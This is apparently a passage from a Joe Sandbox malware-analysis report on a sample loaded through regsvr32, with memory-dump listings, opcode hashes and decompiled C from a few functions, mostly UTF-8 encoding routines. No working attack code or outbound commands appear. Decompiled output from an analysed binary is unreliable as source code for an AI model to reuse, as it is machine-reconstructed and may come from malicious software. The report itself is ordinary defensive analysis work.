Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f6b6b7292ba55d35dc1c93a277f95a97e6f90162976d65c0c694bfcf165a10
Instruction ID: 083e41d69551e77121feae8f5932d11e8a20005bc1e526a5e48aecc788fb3a2f
Opcode Fuzzy Hash: 34f6b6b7292ba55d35dc1c93a277f95a97e6f90162976d65c0c694bfcf165a10
Instruction Fuzzy Hash: D38190A7F2A7810AD722863988403655A555FAB7F4F54D30BEE7533AC1FB69C9438308

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001020C Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6356c1b205dd3ea51b6168dff230cd1b04c92b5b79d4cfc048092e65768328f0
Instruction ID: def7827261a9da4af32f1da4971a8ef5724bf1c880f1e77cd3a623fb38e6e9b8
Opcode Fuzzy Hash: 6356c1b205dd3ea51b6168dff230cd1b04c92b5b79d4cfc048092e65768328f0
Instruction Fuzzy Hash: AFB12870E04B0C9FDFA9DFA8D48A6DEBBF2FB44344F004519E446A7290D7B8551ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00414420 Relevance: .2, Instructions: 213
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00414420(signed int __eax, long long __rcx, signed short* __rdx, signed short* __r8, long long __r9) {
				signed int _t48;
				signed int _t76;
				signed int _t83;
				void* _t86;
				signed int _t88;
				signed int* _t116;
				char* _t117;
				char* _t118;
				char* _t119;
				char* _t120;
				signed short** _t121;
				intOrPtr _t123;
				signed short** _t128;
				signed short* _t129;
				signed char* _t131;
				signed char* _t132;
				signed char* _t133;
				signed char* _t137;
				signed short* _t142;
				void* _t143;
				void* _t144;
				intOrPtr* _t145;
				void* _t146;
				signed short** _t149;
				intOrPtr _t150;
				signed char** _t151;
				intOrPtr _t152;
				void* _t153;

				_t142 = __rdx;
				_t48 = __eax;
				_t145 = _t146 + 0x10;
				 *((long long*)(_t145 - 8)) = __rcx;
				_t151 =  *((intOrPtr*)(_t145 + 0x88));
				_t116 =  *((intOrPtr*)(_t145 + 0x78));
				_t128 =  *((intOrPtr*)(_t145 + 0x70));
				 *_t128 = __r8;
				 *_t151 = _t116;
				_t121 = _t128;
				_t129 =  *_t128;
				 *((long long*)(_t145 - 0x10)) = __r9;
				 *_t145 = __r8;
				if(_t129 == __r9) {
					L34:
					return 0 | _t129 ==  *_t145;
				}
				_t152 =  *((intOrPtr*)(_t145 + 0x80));
				if(_t116 != _t152) {
					r10d =  *__rdx & 0x0000ffff;
					_t149 = _t121;
					do {
						_t83 = r10w & 0xffffffff;
						r14d =  *_t129 & 0x0000ffff;
						_t76 = r14d & 0xfc00;
						if(_t83 < 2) {
							if(_t76 != 0xd800) {
								L10:
								r13d = 0;
								if(r14d > 0x7f) {
									L8:
									r8d = r14d;
									if(r14d > 0x7ff) {
										if(r14d > 0xffff) {
											r8d = r8d >> 0x12;
											r8b = r8b | 0x000000f0;
											_t88 = 3;
											asm("o16 nop [cs:eax+eax]");
										} else {
											r8d = r8d >> 0xc;
											r8b = r8b | 0x000000e0;
											_t88 = 2;
										}
									} else {
										r8d = r8d >> 6;
										r8b = r8b | 0x000000c0;
										_t88 = 1;
									}
									L15:
									_t8 = _t144 + 1; // 0x4
									dil = r13b == 0;
									_t86 =  !=  ? _t8 : _t143 + _t143 + 1;
									_t150 = _t152;
									_t153 = _t152 - _t116;
									if(_t153 < _t143) {
										goto L34;
									}
									if(r10w != 0) {
										L18:
										_t152 = _t150;
										L19:
										 *_t149 =  &(_t129[1]);
										if((_t48 & 0xffffff00 | _t88 != 0x00000003 | r13b) != 1) {
											L22:
											_t131 =  *_t151;
											 *_t151 =  &(_t131[1]);
											 *_t131 = r14d >> _t116 + _t116 - 0x00000006 & 0x0000003f | 0x00000080;
											if(_t86 > 1) {
												_t132 =  *_t151;
												 *_t151 =  &(_t132[1]);
												 *_t132 = r14d >> _t116 + _t116 - 0x0000000c & 0x0000003f | 0x00000080;
												if(_t86 != 2) {
													_t133 =  *_t151;
													 *_t151 =  &(_t133[1]);
													 *_t133 = r14d >> _t116 + _t116 - 0x00000012 & 0x0000003f | 0x00000080;
													if(_t86 >= 4) {
														_t117 =  *_t151;
														 *_t151 = _t117 + 1;
														 *_t117 = 0x80;
														if(_t86 != 4) {
															_t118 =  *_t151;
															 *_t151 = _t118 + 1;
															 *_t118 = 0x80;
															if(_t86 >= 6) {
																_t119 =  *_t151;
																 *_t151 = _t119 + 1;
																 *_t119 = 0x80;
																if(_t86 != 6) {
																	_t137 =  *_t151;
																	 *_t151 =  &(_t137[1]);
																	 *_t137 = r14d >> _t119 + _t119 - 0x00000012 & 0x0000003f | 0x00000080;
																}
															}
														}
													}
												}
											}
											L29:
											r14d = r14d >> 0xa;
											r10d = r14d;
											_t48 = 1;
											r10w =  ==  ? 1 : r10w;
											 *_t142 = r10w;
											_t129 =  *_t149;
											if(_t129 ==  *((intOrPtr*)(_t145 - 0x10))) {
												goto L34;
											}
											goto L30;
										}
										_t116 =  *_t151;
										 *_t151 =  &(_t116[0]);
										 *_t116 = r8b;
										if(_t86 < 2) {
											goto L29;
										} else {
											_t86 = _t86 - 1;
											goto L22;
										}
									}
									_t123 =  *((intOrPtr*)(_t145 - 8));
									if(( *(_t123 + 0x14) & 0x00000002) != 0) {
										_t152 = _t150;
										if(_t153 < _t123) {
											goto L34;
										}
										 *_t151 =  &(_t116[0]);
										 *_t116 = 0xef;
										_t120 =  *_t151;
										 *_t151 = _t120 + 1;
										 *_t120 = 0xbb;
										_t116 =  *_t151;
										 *_t151 =  &(_t116[0]);
										 *_t116 = 0xbf;
										_t129 =  *_t149;
										goto L19;
									}
									goto L18;
								}
								L11:
								_t88 = 0;
								r8b = r14b;
								goto L15;
							}
							r14d = r14d << 0xa;
							r14d = r14d + 0xfca10000;
							r13b = 1;
							if(r14d <= 0x7f) {
								goto L11;
							}
							goto L8;
						}
						if(_t76 != 0xdc00) {
							return 2;
						} else {
							r14d = r14d + 0xffff2400;
							r14d = r14d | _t83 << 0x0000000a;
							goto L10;
						}
						L30:
						_t116 =  *_t151;
					} while (_t116 != _t152);
				}
			}

0x00414420
0x00414420
0x00414430
0x00414435
0x00414439
0x00414440
0x00414444
0x00414448
0x0041444b
0x0041444f
0x00414452
0x00414455
0x0041445c
0x00414460
0x004146eb
0x00000000
0x004146f1
0x00414466
0x00414470
0x00414476
0x0041447a
0x00414480
0x00414480
0x00414484
0x00414491
0x00414497
0x004144c6
0x00414500
0x00414500
0x00414507
0x004144dc
0x004144dc
0x004144e6
0x00414517
0x00414528
0x0041452c
0x00414530
0x00414535
0x00414519
0x00414519
0x0041451d
0x00414521
0x00414521
0x004144e8
0x004144e8
0x004144ec
0x004144f0
0x004144f0
0x00414540
0x00414540
0x00414548
0x00414553
0x00414556
0x00414559
0x0041455f
0x00000000
0x00000000
0x00414569
0x00414579
0x00414579
0x0041457c
0x00414586
0x0041458e
0x004145aa
0x004145ba
0x004145c2
0x004145c6
0x004145cb
0x004145e1
0x004145e9
0x004145ed
0x004145f2
0x00414608
0x00414610
0x00414614
0x00414619
0x0041461b
0x00414623
0x00414627
0x0041462d
0x0041462f
0x00414637
0x0041463b
0x00414641
0x00414643
0x0041464b
0x0041464f
0x00414655
0x0041466d
0x00414675
0x00414679
0x00414679
0x00414655
0x00414641
0x0041462d
0x00414619
0x004145f2
0x00414680
0x00414680
0x00414687
0x0041468a
0x0041468e
0x00414693
0x00414697
0x0041469e
0x00000000
0x00000000
0x00000000
0x0041469e
0x00414590
0x00414598
0x0041459c
0x004145a2
0x00000000
0x004145a8
0x004145a8
0x00000000
0x004145a8
0x004145a2
0x0041456b
0x00414573
0x004146b5
0x004146b8
0x00000000
0x00000000
0x004146be
0x004146c2
0x004146c5
0x004146cd
0x004146d1
0x004146d4
0x004146dc
0x004146e0
0x004146e3
0x00000000
0x004146e3
0x00000000
0x00414573
0x00414509
0x00414509
0x0041450b
0x00000000
0x0041450b
0x004144c8
0x004144cc
0x004144d3
0x004144da
0x00000000
0x00000000
0x00000000
0x004144da
0x0041449f
0x00000000
0x004144a5
0x004144a8
0x004144af
0x00000000
0x004144af
0x004146a0
0x004146a0
0x004146a4
0x004146ad

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62c71eb7ac3428566c195c834acef273e0a9eab33aff0f44282d75c452aceb0
Instruction ID: 27d7645599737a85f1c53c7cdf770223a747913bc613d43cf74b5caa561bc675
Opcode Fuzzy Hash: a62c71eb7ac3428566c195c834acef273e0a9eab33aff0f44282d75c452aceb0
Instruction Fuzzy Hash: C171DF37305B8496DB11CF69E4481AD3B61F3DAB98B978212DF8E93390EA3DC596C344

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BA2C Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05221105fcf4a0dfa1600c7ecd9a36b5eab2b73dee02fe6529467e68ba200bce
Instruction ID: db69bbeb9907f72cc4328d3ba5cfff89e9e879361a7da1a1dd09dc865a17b944
Opcode Fuzzy Hash: 05221105fcf4a0dfa1600c7ecd9a36b5eab2b73dee02fe6529467e68ba200bce
Instruction Fuzzy Hash: DDB1F7706087C88FDBBECF24C8893DA3BA9FB45748F504219E9CA8E294DB745744CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D770 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a1468b82f3cc8c6cef3d943e654abe810b4fd3ed5837763d1554f5f0f2f8fb4
Instruction ID: bbdaedd8c60d67300e75093b7fb989568880fb9a49cef07a4d64090194d0257e
Opcode Fuzzy Hash: 8a1468b82f3cc8c6cef3d943e654abe810b4fd3ed5837763d1554f5f0f2f8fb4
Instruction Fuzzy Hash: B4913B7090870DDFDB98DFA8C495A9EBBF1FB44344F40856EE849E7290DB749A09CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800227EC Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0216f555e37351bb33d44e999a90ae45b4d35870442341544a959e5100640a4
Instruction ID: 8d419ff73cf3164e56fbb4ab833ee26af8bb4073d3525e0d1860cbcf12cbb008
Opcode Fuzzy Hash: a0216f555e37351bb33d44e999a90ae45b4d35870442341544a959e5100640a4
Instruction Fuzzy Hash: 2191287051074D9BDF89CF28C8C9ADD7BB0FB483A8FA56218FC0AA6294C774D585CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00414AC0 Relevance: .2, Instructions: 183
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00414AC0(signed char* __rax, void* __rcx, char* __rdx, unsigned int* __r8, void* __r9, unsigned int** _a40, signed char* _a48, intOrPtr _a56, signed char** _a64) {
				char _t64;
				unsigned int _t65;
				signed char _t67;
				unsigned int _t78;
				void* _t88;
				signed char* _t98;
				char* _t102;
				char* _t103;
				void* _t104;
				signed char* _t106;
				signed char* _t107;
				signed char* _t108;
				signed char* _t109;
				signed char* _t110;
				char* _t112;
				unsigned int* _t113;
				char* _t120;
				unsigned int* _t124;
				void* _t125;
				void* _t126;
				unsigned int** _t127;
				signed long long _t128;
				intOrPtr _t130;
				signed char** _t131;

				_t125 = __r9;
				_t124 = __r8;
				_t112 = __rdx;
				_t98 = __rax;
				_t126 = __rcx;
				_t131 = _a64;
				_t127 = _a40;
				_t106 = _a48;
				 *_t127 = __r8;
				 *_t131 = _t106;
				_t113 =  *_t127;
				if(_t113 == __r9) {
					L33:
					return 0 | _t113 == _t124;
				}
				_t130 = _a56;
				if(_t106 == _t130) {
					goto L33;
				} else {
					while(1) {
						_t78 =  *_t113;
						if( *((intOrPtr*)(_t126 + 0x10)) < _t78) {
							break;
						}
						if(_t78 > 0x7f) {
							_t65 = _t78;
							if(_t78 > 0x7ff) {
								if(_t78 > 0xffff) {
									if(_t78 > 0x1fffff) {
										if(_t78 > 0x3ffffff) {
											_t67 = _t65 >> 0x0000001e | 0x000000fc;
											_t64 = 5;
											if( *_t112 != 0) {
												L24:
												_t88 = _t130 -  *_t131 - _t113;
												_t113 =  *_t127;
												if(_t88 < 0) {
													goto L33;
												}
												 *_t127 =  &(_t113[1]);
												_t98 =  *_t131;
												 *_t131 =  &(_t98[1]);
												 *_t98 = _t67;
												if(_t64 != 0) {
													_t107 =  *_t131;
													 *_t131 =  &(_t107[1]);
													 *_t107 = _t78 >>  &(_t98[_t98 - 6]) & 0x0000003f | 0x00000080;
													if(_t64 > 1) {
														_t108 =  *_t131;
														 *_t131 =  &(_t108[1]);
														 *_t108 = _t78 >>  &(_t98[_t98 - 0xc]) & 0x0000003f | 0x00000080;
														if(_t64 != 2) {
															_t109 =  *_t131;
															 *_t131 =  &(_t109[1]);
															 *_t109 = _t78 >>  &(_t98[_t98 - 0x12]) & 0x0000003f | 0x00000080;
															if(_t64 >= 4) {
																r12d = _t104 + _t104;
																_t110 =  *_t131;
																 *_t131 =  &(_t110[1]);
																 *_t110 = _t78 >> _t128 + _t128 * 0x00000002 - 0x00000018 & 0x0000003f | 0x00000080;
																if(_t64 != 4) {
																	dil = dil & 0x0000003f;
																	dil = dil | 0x00000080;
																	_t98 =  *_t131;
																	 *_t131 =  &(_t98[1]);
																	 *_t98 = dil;
																	asm("o16 nop [cs:eax+eax]");
																}
															}
														}
													}
												}
												_t113 =  *_t127;
												if(_t113 == _t125 ||  *_t131 == _t130) {
													goto L33;
												} else {
													continue;
												}
											}
											asm("o16 nop [cs:eax+eax]");
											L21:
											 *_t112 = 1;
											if(( *(_t126 + 0x14) & 0x00000002) == 0) {
												goto L24;
											}
											_t120 =  *_t131;
											_t128 = _t130 - _t120;
											if(_t128 < _t98) {
												return 1;
											}
											 *_t131 = _t120 + 1;
											 *_t120 = 0xef;
											_t102 =  *_t131;
											 *_t131 = _t102 + 1;
											 *_t102 = 0xbb;
											_t103 =  *_t131;
											_t113 = _t103 + 1;
											 *_t131 = _t113;
											 *_t103 = 0xbf;
											asm("o16 nop [cs:eax+eax]");
											goto L24;
										}
										_t67 = _t65 >> 0x00000018 | 0x000000f8;
										_t64 = 4;
										if( *_t112 != 0) {
											goto L24;
										}
										goto L21;
									}
									_t67 = _t65 >> 0x00000012 | 0x000000f0;
									_t64 = 3;
									if( *_t112 != 0) {
										goto L24;
									}
									goto L21;
								}
								_t67 = _t65 >> 0x0000000c | 0x000000e0;
								_t64 = 2;
								if( *_t112 != 0) {
									goto L24;
								}
								goto L21;
							}
							_t67 = _t65 >> 0x00000006 | 0x000000c0;
							_t64 = 1;
							if( *_t112 != 0) {
								goto L24;
							} else {
								goto L21;
							}
						}
						_t64 = 0;
						_t67 = dil;
						if( *_t112 != 0) {
							goto L24;
						} else {
							goto L21;
						}
					}
					return 2;
				}
			}

0x00414ac0
0x00414ac0
0x00414ac0
0x00414ac0
0x00414acd
0x00414ad0
0x00414ad4
0x00414ad8
0x00414adc
0x00414adf
0x00414ae2
0x00414ae8
0x00414d01
0x00000000
0x00414d06
0x00414aee
0x00414af5
0x00000000
0x00414b00
0x00414b00
0x00414b00
0x00414b06
0x00000000
0x00000000
0x00414b0f
0x00414b30
0x00414b38
0x00414b56
0x00414b74
0x00414b92
0x00414ba9
0x00414bac
0x00414bb4
0x00414c10
0x00414c19
0x00414c1c
0x00414c1f
0x00000000
0x00000000
0x00414c29
0x00414c2c
0x00414c33
0x00414c36
0x00414c3a
0x00414c4f
0x00414c56
0x00414c59
0x00414c5e
0x00414c73
0x00414c7a
0x00414c7d
0x00414c82
0x00414c93
0x00414c9a
0x00414c9d
0x00414ca2
0x00414ca4
0x00414cb5
0x00414cbc
0x00414cbf
0x00414cc4
0x00414ccf
0x00414cd3
0x00414cd7
0x00414cde
0x00414ce1
0x00414ce4
0x00414ce4
0x00414cc4
0x00414ca2
0x00414c82
0x00414c5e
0x00414cf0
0x00414cf6
0x00000000
0x00000000
0x00000000
0x00000000
0x00414cf6
0x00414bb6
0x00414bc0
0x00414bc0
0x00414bc8
0x00000000
0x00000000
0x00414bca
0x00414bd0
0x00414bd9
0x00000000
0x00414d1b
0x00414be3
0x00414be6
0x00414be9
0x00414bf0
0x00414bf3
0x00414bf6
0x00414bf9
0x00414bfd
0x00414c00
0x00414c03
0x00000000
0x00414c03
0x00414b97
0x00414b9a
0x00414ba2
0x00000000
0x00000000
0x00000000
0x00414ba4
0x00414b79
0x00414b7c
0x00414b84
0x00000000
0x00000000
0x00000000
0x00414b8a
0x00414b5b
0x00414b5e
0x00414b66
0x00000000
0x00000000
0x00000000
0x00414b6c
0x00414b3d
0x00414b40
0x00414b48
0x00000000
0x00414b4e
0x00000000
0x00414b4e
0x00414b48
0x00414b11
0x00414b13
0x00414b19
0x00000000
0x00414b1f
0x00000000
0x00414b1f
0x00414b19
0x00000000
0x00414d14

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 073c336adcb91f56f1f6b2a6c187785bef2cbc22fa0f1b8e19d67fcbc7487b3c
Instruction ID: fc57bc60658387ff04dbe022ad86494489c9db2dc7f833cc260bdad12565988a
Opcode Fuzzy Hash: 073c336adcb91f56f1f6b2a6c187785bef2cbc22fa0f1b8e19d67fcbc7487b3c
Instruction Fuzzy Hash: 7F619073605B9085EB11CF69E8442ED7B64E38AB64F5B8213DB2A47790EB3DD8C2C314

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003ABC Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b26294f0f9f3284694c45c8b9595d0348109ce62e475cb7d6409abe9a76976a
Instruction ID: 1a96423f3a765be71ed3ebf72ec985b1fca13df5bf98bcc049fc2241daefe753
Opcode Fuzzy Hash: 7b26294f0f9f3284694c45c8b9595d0348109ce62e475cb7d6409abe9a76976a
Instruction Fuzzy Hash: 8261457061464C8BEF69DF38D4962AD3BE4FB48304F20613DF8668A2A2DB34D909CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E310 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06da107516d47c143558e8aa98c820ad7c0c85d3c2a152159cfcced41356a87b
Instruction ID: 996706ca88cb9fc9bc48b859f22f6059f136dba73b545d5907411ed53535f626
Opcode Fuzzy Hash: 06da107516d47c143558e8aa98c820ad7c0c85d3c2a152159cfcced41356a87b
Instruction Fuzzy Hash: 5D71E770508789CBEBF9CF24D8897DE7BE4FB88704F10461DE9998A2A0DB749649CF41

Uniqueness

Uniqueness Score: -1.00%

Function 004086C2 Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E004086C2(signed char __ebx, void* __edx, void* __rax, signed int* __rbx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t35;
				void* _t36;
				signed int _t39;
				signed char _t42;
				void* _t43;
				void* _t48;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t53;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed char* _t82;
				signed char* _t86;
				signed char* _t89;
				intOrPtr* _t91;
				signed int* _t92;
				void* _t93;
				void* _t94;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				void* _t106;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr* _t129;
				void* _t131;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;

				_t125 = __r9;
				_t123 = __r8;
				_t106 = __rdx;
				_t92 = __rbx;
				_t48 = __edx;
				_t42 = __ebx;
				_t35 = E00401F90(_t43, __edx, _t53, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t115 = __rax;
				_t76 =  *((intOrPtr*)(_t117 + 0x10));
				if(_t76 >= 0x10) {
					_t105 =  *((intOrPtr*)(_t117 - 8));
					_t76 = _t76 + 1;
					_t55 = _t76 - 0x1000;
					if(_t76 >= 0x1000) {
						_t105 =  *((intOrPtr*)(_t105 - 8));
					}
					_t35 = E00402090(_t35, _t105);
				}
				_t97 = _t115;
				_t36 = E0044CEA0(_t35, _t115);
				asm("ud2");
				 *_t92 =  *_t92 ^ _t42;
				 *_t123 =  *_t123 + r8b;
				 *_t76 =  *_t76 + _t36;
				 *((intOrPtr*)(_t76 - 0x6f6f6f70)) =  *((intOrPtr*)(_t76 - 0x6f6f6f70)) + _t48;
				_t121 = _t120 - 0x68;
				_t118 = _t121 + 0x60;
				_t129 = _t125;
				_t137 = _t123;
				_t77 =  *((intOrPtr*)(_t118 + 0x70));
				 *((intOrPtr*)(_t118 + 4)) = 0;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x40))));
				 *((long long*)(_t118 - 8)) = _t98;
				 *((intOrPtr*)( *_t98 + 0x10))(_t92, _t112, _t115, _t128, _t131, _t133, _t136, _t117);
				 *((long long*)(_t121 + 0x28)) = _t118 - 8;
				 *((intOrPtr*)(_t121 + 0x20)) =  *((intOrPtr*)(_t77 + 0x18));
				_t93 = _t118 - 0x30;
				_t124 = _t137;
				_t49 = L00409A20(_t42, _t43, _t48, _t55, _t118 - 8, _t93, _t93, _t97, _t115, _t137, _t129, _t129, _t131, _t106, _t137);
				_t100 =  *((intOrPtr*)(_t118 - 8));
				if(_t100 != 0) {
					_t91 =  *_t100;
					 *((intOrPtr*)(_t91 + 0x18))();
					if(_t91 != 0) {
						 *((intOrPtr*)( *_t91 + 8))();
					}
				}
				_t94 =  ==  ? _t118 - 0x2f : _t93;
				r8d = _t49;
				_t39 = E004302D0(_t48, _t118 - 0x2f, _t94, _t118 - 0x10, _t124, _t118 + 4);
				r13d = _t39;
				_t102 =  *_t137;
				_t52 = 0;
				_t50 = 0;
				if(_t102 != 0) {
					_t89 =  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x38))));
					if(_t89 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t102 + 0x38))();
					} else {
						_t39 =  *_t89 & 0x000000ff;
					}
					_t50 = 0;
					dil = _t39 != 0xffffffff;
				}
				_t103 =  *_t129;
				if(_t103 != 0) {
					_t86 =  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x38))));
					if(_t86 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x50)))) <= 0) {
						_t39 =  *((intOrPtr*)( *_t103 + 0x38))();
					} else {
						_t39 =  *_t86 & 0x000000ff;
					}
					_t52 = 0;
					sil = _t39 != 0xffffffff;
				}
				_t82 =  *((intOrPtr*)(_t118 + 0x78));
				if(_t50 == _t52) {
					 *_t82 =  *_t82 | 0x00000001;
				}
				if(r13d > 0xffff ||  *((intOrPtr*)(_t118 - 0x10)) == _t94 ||  *((intOrPtr*)(_t118 + 4)) != 0) {
					 *_t82 =  *_t82 | 0x00000002;
					__eflags =  *_t82;
				} else {
					_t47 =  !=  ? r13w :  ~r13d;
					 *((short*)( *((intOrPtr*)(_t118 + 0x80)))) =  !=  ? r13w :  ~r13d;
				}
				asm("inc ecx");
				asm("inc ecx");
				return _t39;
			}

0x004086c2
0x004086c2
0x004086c2
0x004086c2
0x004086c2
0x004086c2
0x00408709
0x0040870e
0x00408710
0x00408713
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087bb
0x004087bd
0x004087c0
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087fb
0x00408800
0x00408806
0x0040880c
0x0040881f
0x00408817
0x00408817
0x00408817
0x00408822
0x00408827
0x00408827
0x0040882b
0x00408832
0x00408838
0x0040883e
0x00408851
0x00408849
0x00408849
0x00408849
0x00408854
0x00408859
0x00408859
0x0040885d
0x00408863
0x00408865
0x00408865
0x0040886f
0x00408898
0x00408898
0x0040887e
0x0040888e
0x00408893
0x00408893
0x0040889b
0x0040889f
0x004088b6

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
